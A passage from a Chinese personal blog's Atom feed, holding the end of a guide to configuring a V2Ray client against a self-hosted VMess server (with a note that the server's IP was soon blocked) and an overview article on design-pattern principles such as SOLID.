data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743302.png" alt="preference"></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743304.png" alt="image-20230222125317902"></p><p>这里需要修改两个地方,一个是v2ray核心可执行文件路径,将这里修改成第一步里命令行得到的路径。第二个是v2ray资源目录,将这里修改成第二步下载的文件夹的路径。然后点击检查v2ray核心设置</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743305.png" alt="image-20230222125528308"></p><p>得到如上提示说明设置成功。如果是其他提示则说明设置有误,需修改直至设置正确。</p></li><li><p>添加服务器信息</p><p>设置好之后,在主界面点击<code>新建</code></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743306.png" alt="new"></p><p>会出现如下界面</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743307.png" alt="image-20230222130411955"></p><ul><li><p>随意填一个标签</p></li><li><p>主机写自己主机的ip地址或域名(如果有的话)</p></li><li><p>端口填写自己在服务器上config.json里配置的端口</p></li><li><p>类型就是VMess</p></li><li><p>uuid填写自己在服务器上config.json里配置的uuid(即id)</p></li><li><p>Alter也与服务器上配置保持相同即可,保持默认也无所谓</p></li><li><p>安全选项保持默认auto即可</p></li><li><p>传输协保持默认tcp即可</p></li></ul><p>其他均不需修改</p><p>修改完成后点击ok保存</p><p>这时候主界面就已经有自己的配置了</p></li><li><p>运行</p><p>选择相应配置,点击<code>连接</code>即可</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743308.png" alt="start"></p><p>连接成功后,可以打开YouTube试试是否可以科学上网。如果可以打开,则说明配置成功。</p></li></ol><h1>5 安装配置V2Ray客户端(Windows)</h1><p>这部分可以参考<a href="https://github.com/bannedbook/fanqiang/blob/master/v2ss/Windows%E7%89%88V2ray%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E6%8C%87%E5%8D%97.md">这个教程</a></p><h1>三、 结局</h1><p>这是一个悲伤的故事,刚搭好后,用起来很爽。结果没过几天突然用不了了。在<a href="https://port.ping.xn--petcp-hg1hjcj91ik7gs2p7q8c1ktcrzf78e3joqs7a">https://port.ping.pe上测试了一下tcp通信是否顺畅</a>,发现所有来自大陆的请求都失败了。极大概率是IP被ban了。没想到被封的是如此迅速。</p><p>大家自己搭建V2ray的话,一定要选择可以更换ip的服务器提供商,比如Vultr。或者可以尝试V2Ray+TLS翻墙以及V2Ray+TLS+BebSocket的方式。这些我没有试过,大家可以自己找一下教程。</p>]]></content>
<summary type="html"><p>因为之前有一个Azure的最基础的云服务器,就想着搭一个VPS,一直拖了很久才行动,下面是搭建过程的一些记录。如果作为一个教程看,可以直接跳过不需要的部分,比如升级系统。不过一定要看最后,最后有写我为什么成功后又失败了。</p>
<h1>本文所使用的设施</h1>
<h2 id="云服务器">云服务器</h2>
<ul>
<li>
<p>服务:Azure Standard B1s</p>
<p>1G内存 64G磁盘</p>
</li>
<li>
<p>操作系统:Linux CentOS 7.6</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[CentOS]$ </span><span class="language-bash"><span class="built_in">cat</span> /etc/redhat-release</span></span><br><span class="line">CentOS Linux release 7.9.2009 (Core)</span><br><span class="line"><span class="meta prompt_">[CentOS]$ </span><span class="language-bash"><span class="built_in">uname</span> -r</span></span><br><span class="line">3.10.0-1160.71.1.el7.x86_64</span><br><span class="line"><span class="meta prompt_">[CentOS]$ </span><span class="language-bash">sysctl net.ipv4.tcp_available_congestion_control</span></span><br><span class="line">net.ipv4.tcp_available_congestion_control = cubic reno</span><br></pre></td></tr></table></figure>
</li>
<li>
<p>位置:East Asia</p>
</li>
<li>
<p>服务器获取来源:Azure student</p>
</li>
</ul></summary>
<category term="工具" scheme="https://blog.karryspace.com/categories/%E5%B7%A5%E5%85%B7/"/>
<category term="vps" scheme="https://blog.karryspace.com/tags/vps/"/>
</entry>
<entry>
<title>设计模式概述</title>
<link href="https://blog.karryspace.com/posts/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E6%A6%82%E8%BF%B0/"/>
<id>https://blog.karryspace.com/posts/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E6%A6%82%E8%BF%B0/</id>
<published>2023-02-03T11:54:25.000Z</published>
<updated>2025-02-22T12:48:57.110Z</updated>
<content type="html"><![CDATA[<p>这篇文章主要概括性地讲一下设计模式和它的一些原则。目的是让读者能对设计模式有一个整体上的了解与感受,为深入学习设计模式打下基础。</p><h1>从“模式”讲起</h1><p>“模式”一词最早诞生于建筑领域,在Christopher Alexander教授的一书中,他写道“每一个模式描述了一个在我们周围不断重复发生的问题,以及该问题的解决方案的核心。这样,你就能一次又一次地使用该方案而不必做重复劳动”。后来“模式”这个概念被用于软件开发中,尤其是面向对象编程中。在面向对象设计模式中,核心的思想依然是这样。</p><p>设计模式(design pattern)是软件开发中广泛使用的解决方案,用于解决在日常工作中遇到的常见问题。它们是对重复的设计问题的可重复使用的解决方案,它们提供了一种封装和组织代码的方法,使代码更易于维护,理解和扩展。</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743430.webp" alt="设计模式"></p><span id="more"></span><h1>设计模式的基本要素</h1><p>一般而言,一个模式有四个基本要素(维基百科上有更多的要素,这里讲最主要的四个):</p><ol><li><p>模式名称与分类(Pattern Name and classification):模式的名称与分类使我们易于表达与交流某一种设计。也让模式便于记忆。</p></li><li><p>问题(Problem):该模式是为了解决面向对象设计中所遇到的哪类问题或情况。</p></li><li><p>解决方案(Solution):模式的具体内容。主要是设计结构(structure),设计包含哪些类与对象(participants)、这些成分在模式中是如何使用和交互的(collaboration)。</p></li><li><p>效果(Consequences):使用该模式所带来的结果(results),以及所带来的副作用(side effects)和使用该模式的一些取舍(trade offs)</p></li></ol><h1>设计模式的原则</h1><p>设计模式基于七个核心原则,包括:单一职责原则、开放封闭原则、里氏替换原则、接口隔离原则、依赖倒置原则、迪米特法则、组合/聚合复用原则。其中前五个原则一般统称为SOLID原则。</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743433.png" alt="SOLID Principles In Practice. Every developer must know… | by Didem Eren | Medium"></p><p>(图片来源网络)</p><p>下面就来详细介绍这些原则。</p><h3 id="1-单一职责原则(Single-Responsibility-Principle-SRP)">1. 单一职责原则(Single Responsibility Principle, SRP)</h3><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743434.png" alt="The Single Responsibility Principle"></p><p>(图片来源网络)</p><p>单一职责原则是指一个类只负责一个单独的功能领域中的相关职责,避免一个类承担太多的职责。</p><p>假设我们要开发一个用于管理员工信息的系统,每个员工都有自己的信息,例如名字、工号、部门等。如果把所有的信息都写在一个类中,就违反了单一职责原则。</p><p>下面是一种符合单一职责原则的设计方法:</p><ul><li>定义一个<code>Employee</code>类,存储员工的基本信息。</li><li>定义一个<code>Department</code>类,存储员工的部门信息。</li><li>定义一个<code>EmployeeManager</code>类,负责管理员工的信息。</li></ul><p>这种设计方法把每个功能分配到单独的类中,每个类只负责一个单独的职责,符合单一职责原则。</p><h3 id="2-开放-封闭原则(Open-Closed-Principle-OCP)">2. 开放-封闭原则(Open-Closed Principle, OCP)</h3><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743435.jpg" alt="open-closed principle"></p><p>(图片来源网络)</p><p>开闭原则要求软件实体(如类、模块、函数等)要对扩展开放,对修改封闭。也就是说,当需要新的功能时,可以通过扩展现有的代码来实现,而不是修改已有的代码。这样做的好处是:</p><ol><li><p>可以保证原有代码的稳定性,因为没有修改已有代码;</p></li><li><p>可以节省维护代码的成本,因为不需要修改原有代码;</p></li><li><p>可以使代码更容易扩展,因为扩展新功能不需要修改已有代码。</p></li></ol><p>举个例子:</p><p>一个电商网站的购物车系统,假如现在网站支持普通用户和会员用户,普通用户可以享受折扣,而会员用户还可以享受免运费的优惠。如果按照开放封闭原则,我们可以在购物车系统的基础上新建两个<strong>子类</strong>:普通用户购物车和会员用户购物车。在普通用户购物车中实现折扣计算,在会员用户购物车中实现折扣和免运费计算。这样,当需要增加或修改优惠政策时,只需要修改对应的购物车子类,而不需要修改购物车系统的核心代码,从而避免了对原有代码的影响。</p><h3 id="3-里氏替换原则(Liskov-Substitution-Principle-LSP)">3. 里氏替换原则(Liskov Substitution Principle, LSP)</h3><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743436.png" alt="Liskov Substitution Principle"></p><p>(图片来源网络)</p><p>里氏替换原则是面向对象编程中的一个重要原则,它提出了一个继承关系的限制:子类对象(对象实例)能够替换其父类对象(对象实例),而不会对程序的正确性造成影响。</p><p>举个例子,如果有一个抽象类 <code>Animal</code>,它有一个子类 <code>Dog</code>,那么当在程序中使用<code>Animal</code>类型的引用指向 <code>Dog </code>类型的对象时,程序的正确性不会受到影响。也就是说,对于任何依赖于 <code>Animal </code>类型的代码,通过使用 <code>Dog </code>类型的对象都不会导致错误。</p><p>里氏替换原则强调了继承关系的一致性和稳定性,保证了在程序中使用父类型的引用来引用子类型的对象时,程序的行为是可预期的,不会因为替换了对象类型而产生意外的行为。</p><h3 id="4-接口隔离原则(Interface-Segregation-Principle-ISP)">4. 接口隔离原则(Interface Segregation Principle, ISP)</h3><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743437.png" alt="Solid PHP - SOLID principles in PHP | Accesto Blog"></p><p>(图片来源网络)</p><p>该原则提出了一个接口的设计原则:客户端不应该依赖它不需要的接口。一个类对另一个类的依赖应该建立在最小的接口上。</p><p>换句话说,一个接口中不应该包含客户端不需要的操作,而应该把接口划分成多个独立的、明确的接口,以更好地隔离客户端与实现的耦合。</p><p>接口隔离原则的目的是为了避免过多的依赖和冗余的接口,从而使得系统更加稳定、易于维护和扩展。</p><p>举个例子,假如有一个动物园的系统,它有一个动物接口,里面定义了吃东西、睡觉、钓鱼等操作。但是有些动物只会吃东西和睡觉,而不会钓鱼,那么在这种情况下,我们可以把钓鱼操作从动物接口中分离出来,创建一个新的接口,以更好地满足接口隔离原则。</p><h3 id="5-依赖倒置原则(Dependency-Inversion-Principle-DIP)">5. 依赖倒置原则(Dependency Inversion Principle, DIP)</h3><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743438.png" alt="Why The Dependency Inversion Principle Is Worth Using - DEV Community 👩💻👨💻"></p><p>(图片来源网络)</p><p>该原则规定了模块间的依赖方向,高层模块不应该依赖低层模块,两者都应该依赖其抽象,这样可以使得代码结构更加灵活。主要思想是通过抽象接口和抽象类来隔离高层代码和低层代码,使得高层代码对低层代码的依赖性降低,提高代码的灵活性和可维护性。</p><p>例如,在一个电商系统中,有一个高层模块,它负责管理订单;有一个低层模块,它负责对接支付系统。如果高层模块直接依赖于低层模块,那么如果支付系统的实现发生了变化,例如从支付宝换成了微信支付,那么高层模块就需要进行修改。为了避免这种情况,我们可以通过依赖倒置原则的思想,在高层模块和低层模块之间抽象出一个接口,让高层模块和低层模块都依赖于这个接口。这样,当支付系统的实现发生变化时,只需要修改低层模块的实现类即可,高层模块不需要进行任何修改。</p><h3 id="6-迪米特法则(Law-of-Demeter-也称最少知识原则-LoD)">6. 迪米特法则(Law of Demeter 也称最少知识原则, LoD)</h3><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303231445539.png" alt="image-20230323144543490"></p><p>(图片来源网络)</p><p>该原则认为,一个对象应该尽可能少地了解其他对象的内部细节,并且只与直接相邻的对象进行交互。</p><p>具体来说,迪米特法则要求我们将对象之间的交互限制在最小范围内。一个对象(A)不应该直接与没有耦合关系的对象©交互,而是应该通过与A有耦合关系的对象(B)间接地访问C。这样做可以减少对象之间的依赖关系,从而提高系统的可维护性和灵活性。</p><p>举个例子:假设你和你的朋友参加了一个派对,如果你需要与派对上的其他人进行交互(例如询问活动时间或位置),你应该尽可能地通过你的朋友来实现(你的朋友与你不认识的人可能是朋友)。这样做可以减少你与其他人的直接交互,降低你们之间的耦合度,从而提高整个派对的效率和协作性。</p><h3 id="7-组合-聚合复用原则-Composite-Aggregate-Reuse-Principle-CARP-or-CRP">7. 组合/聚合复用原则 (Composite/Aggregate Reuse Principle, CARP or CRP)</h3><p>这个原则倡导尽量使用组合/聚合关系来复用对象,而不是使用继承关系来复用行为。</p><p>继承在一定程度上会破坏封装,一旦父类实现发生改变,子类就会受到影响。相比之下,组合/聚合则具有更高的灵活性,更好的保证了封装。使得代码的维护和扩展都更加容易。</p><p>举个例子:</p><p>有<code>Human</code>, <code>Monkey</code>两个类都继承了<code>Mammal</code>类(哺乳动物)。如果<code>Mammal</code>类中的某个函数被修改了,那么<code>Human</code>, <code>Monkey</code>类可能就会收到影响,也需要修改,就会很麻烦。</p><p>如果换一种实现形式:设置一个基类或interface<code>BioClass</code>。 <code>Mammal</code>类继承(实现)<code>BioClass</code>类,<code>Human</code>类和<code>Monkey</code>类只需要包含一个<code>BioClass</code>类型的引用,这个引用实际指向<code>Mammal</code>类。这样就是用聚合的方式实现,如果<code>Mammal</code>类被修改,<code>Human</code>, <code>Monkey</code>类则无需修改。</p><h2 id="原则重要性">原则重要性</h2><p>上面的原则有的很重要,有的不那么重要,如果要排序,可以有如下的排序方式:</p><p>OCP(开放-封闭), LSP(里氏替换), DIP(依赖倒置) > SRP(单一职责), CARP(合成/聚合复用) > LoD(迪米特) > ISP(接口隔离)</p><p>参考来源:</p><blockquote><p>[1]《设计模式:可复用面向对象软件的基础》</p><p>[2] 维基百科:设计模式</p></blockquote>]]></content>
<summary type="html"><p>这篇文章主要概括性地讲一下设计模式和它的一些原则。目的是让读者能对设计模式有一个整体上的了解与感受,为深入学习设计模式打下基础。</p>
<h1>从“模式”讲起</h1>
<p> “模式”一词最早诞生于建筑领域,在Christopher Alexander教授的一书中,他写道“每一个模式描述了一个在我们周围不断重复发生的问题,以及该问题的解决方案的核心。这样,你就能一次又一次地使用该方案而不必做重复劳动”。后来“模式”这个概念被用于软件开发中,尤其是面向对象编程中。在面向对象设计模式中,核心的思想依然是这样。</p>
<p> 设计模式(design pattern)是软件开发中广泛使用的解决方案,用于解决在日常工作中遇到的常见问题。它们是对重复的设计问题的可重复使用的解决方案,它们提供了一种封装和组织代码的方法,使代码更易于维护,理解和扩展。</p>
<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202303131743430.webp" alt="设计模式"></p></summary>
<category term="计算机理论" scheme="https://blog.karryspace.com/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%90%86%E8%AE%BA/"/>
<category term="设计模式" scheme="https://blog.karryspace.com/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
</entry>
</feed>